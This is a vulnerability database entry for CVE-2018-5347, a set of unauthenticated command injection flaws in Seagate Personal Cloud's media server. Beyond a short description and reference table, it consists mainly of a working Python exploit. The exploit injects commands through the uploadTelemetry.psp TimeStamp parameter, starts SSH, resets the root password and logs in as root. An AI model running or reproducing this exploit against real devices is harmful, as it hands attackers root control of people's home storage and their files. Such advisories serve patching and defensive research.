Seagate Personal Cloud Multiple Vulnerabilities(CVE-2018-5347)

🗓️ 10 May 2018 00:00:00Reported by My SeebugType

Seagate Personal Cloud Multiple Vulnerabilities (CVE-2018-5347) with unauthenticated command injection vulnerabilities in Seagate Media Server using Django web framework

Reporter	Title	Published	Views	Family All 8
0day.today	Seagate Personal Cloud - Multiple Vulnerabilities	17 Jan 201800:00	–	zdt
CNVD	Seagate Personal Cloud Seagate Media Server Command Injection Vulnerability	17 Jan 201800:00	–	cnvd
CVE	CVE-2018-5347	12 Jan 201801:00	–	cve
Cvelist	CVE-2018-5347	12 Jan 201801:00	–	cvelist
NVD	CVE-2018-5347	12 Jan 201801:29	–	nvd
OpenVAS	Seagate Personal Cloud < 4.3.18.0 RCE Vulnerability	15 Jun 201800:00	–	openvas
Packet Storm	Seagate Personal Cloud Command Injection	16 Jan 201800:00	–	packetstorm
Prion	Command injection	12 Jan 201801:29	–	prion


                                                #!/usr/bin/env python
import os
import urllib
   
scheme = 'http'
host = 'personalcloud.local'
port = '80'
path = 'uploadTelemetry.psp'
querystr = 'TimeStamp=%3b'
#path = 'getLogs.psp'
#querystr = 'time_stamp=%3b'
password = 'Welcome01'
   
cmds = ['ngc --start sshd 2>&1',
      'echo -e "%(s)s\n%(s)s"|passwd 2>&1' % {'s' : password}]
   
for cmd in cmds:
   print 'Running command', repr(cmd)
   cmd = urllib.quote_plus(cmd)
   r = urllib.urlopen('%s://%s:%s/%s?%s%s' % (scheme, host, port, path, querystr, cmd))
   print r.read()
   
print 'Log in with', password
os.system('ssh -p 2222 root@%s' % host)

10 May 2018 00:00Current

10High risk

Vulners AI Score10

EPSS0.47022